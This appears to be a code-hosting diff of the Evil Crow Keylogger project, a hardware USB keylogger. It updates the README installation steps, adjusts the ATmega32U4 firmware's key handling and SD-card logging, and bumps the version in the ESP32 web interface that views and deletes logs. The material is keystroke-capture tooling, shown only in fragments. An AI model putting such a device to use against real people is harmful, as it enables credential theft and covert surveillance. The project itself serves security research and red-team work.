🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■
    README.md
    skipped 66 lines
    67 67   
    68 68  * 2.- Install pyserial: sudo pip install pyserial
    69 69   
    70  -* 3.- Download and Install the Arduino IDE: https://www.arduino.cc/en/main/software
     70 +## Automatic installation
     71 + 
     72 +* 0.- Install Platformio and Platformio Core: https://docs.platformio.org/en/latest/core/index.html
    71 73   
    72  -* 4.- Open Arduino IDE.
     74 +* 1.- Download keylogger-pio repository (This is a migration of Evil Crow Keylogger to platformio): git clone https://github.com/volca/keylogger-pio.git
     75 + 
     76 +* 2.- Download source EvilCrow-Keylogger. Put the directory in same level with keylogger-pio: git clone https://github.com/joelsernamoreno/EvilCrow-Keylogger.git
     77 + 
     78 +* 3.- Add jumper GPIO0 to GND for ESP32-PICO
    73 79   
    74  -* 5.- Go to File - Preferences. Locate the field "Additional Board Manager URLs:" Add "https://dl.espressif.com/dl/package_esp32_index.json" without quotes. Click "Ok"
     80 +![Jumper](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/jumper.jpg)
    75 81   
    76  -* 6.- Select Tools - Board - Boards Manager. Search for "esp32". Install "esp32 by Espressif system version 1.0.3". Click "Close".
     82 +* 4.- Connect Evil Crow Keylogger via USB port
    77 83   
    78  -* 7.- Download/extract EvilCrow-Keylogger repository.
     84 +* 5.- Go to the keylogger-pio directory: cd keylogger-pio
    79 85   
    80  -* 8.- Copy the Keyboard and USB Host Shield libraries included in this repository to your Arduino library directory.
     86 +* 6.- Run flash.bat or ./flash.sh to program 32u4 and esp32-pico
     87 + 
     88 +## Manual installation
     89 + 
     90 +* 0.- Download and Install the Arduino IDE: https://www.arduino.cc/en/main/software
     91 + 
     92 +* 1.- Open Arduino IDE.
     93 + 
     94 +* 2.- Go to File - Preferences. Locate the field "Additional Board Manager URLs:" Add "https://dl.espressif.com/dl/package_esp32_index.json" without quotes. Click "Ok"
     95 + 
     96 +* 3.- Select Tools - Board - Boards Manager. Search for "esp32". Install "esp32 by Espressif system version 1.0.3". Click "Close".
     97 + 
     98 +* 4.- Download/extract EvilCrow-Keylogger repository.
     99 + 
     100 +* 5.- Copy the Keyboard and USB Host Shield libraries included in this repository to your Arduino library directory.
    81 101   
    82 102  **NOTE:** The Keyboard library included in this repository has been modified, EvilCrow Keylogger needs this library to work.
    83 103   
    84  -## Layout support
     104 +### Layout support
    85 105   
    86 106  Evil Crow Keylogger supports several layouts, the en_us layout is by default.
    87 107   
    skipped 18 lines
    106 126   
    107 127  * 2.- Save and close Keyboard.h
    108 128   
    109  -## Upload the ESP32 code
     129 +### Upload the ESP32 code
    110 130   
    111 131  To upload the ESP32 code into the keylogger, you can do this in different ways: You can use an Arduino, an FTDI or an ESP Flasher from April Brother.
    112 132  On this way I will use an Arduino to upload the ESP32 code.
    skipped 18 lines
    131 151   
    132 152  * 5.- Upload the code to the board.
    133 153   
    134  -## Upload atmega32u4 code
     154 +### Upload atmega32u4 code
    135 155   
    136 156  * 0.- Connect Evil Crow Keylogger via USB port.
    137 157   
    skipped 52 lines
  • ■ ■ ■ ■ ■ ■
    code/ATMEGA32U4/ATMEGA32U4.ino
    skipped 61 lines
    62 62  };
    63 63   
    64 64  void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) {
     65 + Keyboard.rawrelease(key, 0);
    65 66   SetModifiersArd();
    66 67   key_modifier = key|modifiersard,HEX;
    67  - Keyboard.rawrelease(key, 0);
    68 68   SDlog = SD.open("log.txt", FILE_WRITE);
    69 69   
    70 70   for (int i = 0; i < 256; i++) {
    skipped 8 lines
    79 79  void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) {
    80 80   SetModifiers();
    81 81   Keyboard.rawpress(key, modifiers);
    82  - modifiers = 0;
    83 82  }
    84 83   
    85 84  void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
    skipped 13 lines
    99 98   if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) {
    100 99   leftalt_status=!leftalt_status;
    101 100   }
    102  - if (beforeMod.bmLeftGUI != afterMod.bmLeftGUI) {
    103  - leftgui_status=!leftgui_status;
     101 + if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI) {
     102 + if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);
     103 + else Keyboard.release(KEY_LEFT_GUI);
    104 104   }
    105  - 
    106 105   if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) {
    107 106   rightctrl_status=!rightctrl_status;
    108 107   }
    skipped 34 lines
  • ■ ■ ■ ■
    code/ESP32/ESP32.ino
    skipped 12 lines
    13 13   
    14 14  // HTML and CSS style
    15 15  const String HTML_CSS_STYLING = "<html><head><meta charset=\"utf-8\"><title>Evil Crow Keylogger</title><style> body { background-color: #333333; font-family: \"Century Gothic\", Arial; color: white; margin: 20px;}.myButton:link, .myButton:visited {background: linear-gradient(#777777, #444444);color: white;padding: 4px;min-width: 100px;border-radius: 5px;border: 2px solid white;text-align: center;margin-right: 20px;text-decoration: none;display: inline-block;transition: 0.25s;} .myButton:hover, .myButton:active {background: linear-gradient(#888888, #555555);border: 2px solid deepskyblue;border-radius: 10px;transform: scale(1.15);}</style></head>";
    16  -const String MENU = "<body><p>Evil Crow Keylogger v1.2</p><div id=\"header\"><div id=\"menu\"><ul><a class=\"myButton\" href=\"/viewlog\">View Log</a><a class=\"myButton\" href=\"/delete\">Delete log</a></ul></div></div></style>";
     16 +const String MENU = "<body><p>Evil Crow Keylogger v1.3</p><div id=\"header\"><div id=\"menu\"><ul><a class=\"myButton\" href=\"/viewlog\">View Log</a><a class=\"myButton\" href=\"/delete\">Delete log</a></ul></div></div></style>";
    17 17   
    18 18  // File
    19 19  File logs;
    skipped 51 lines
  • images/jumper.jpg
Please wait...
Page is in error, reload to recover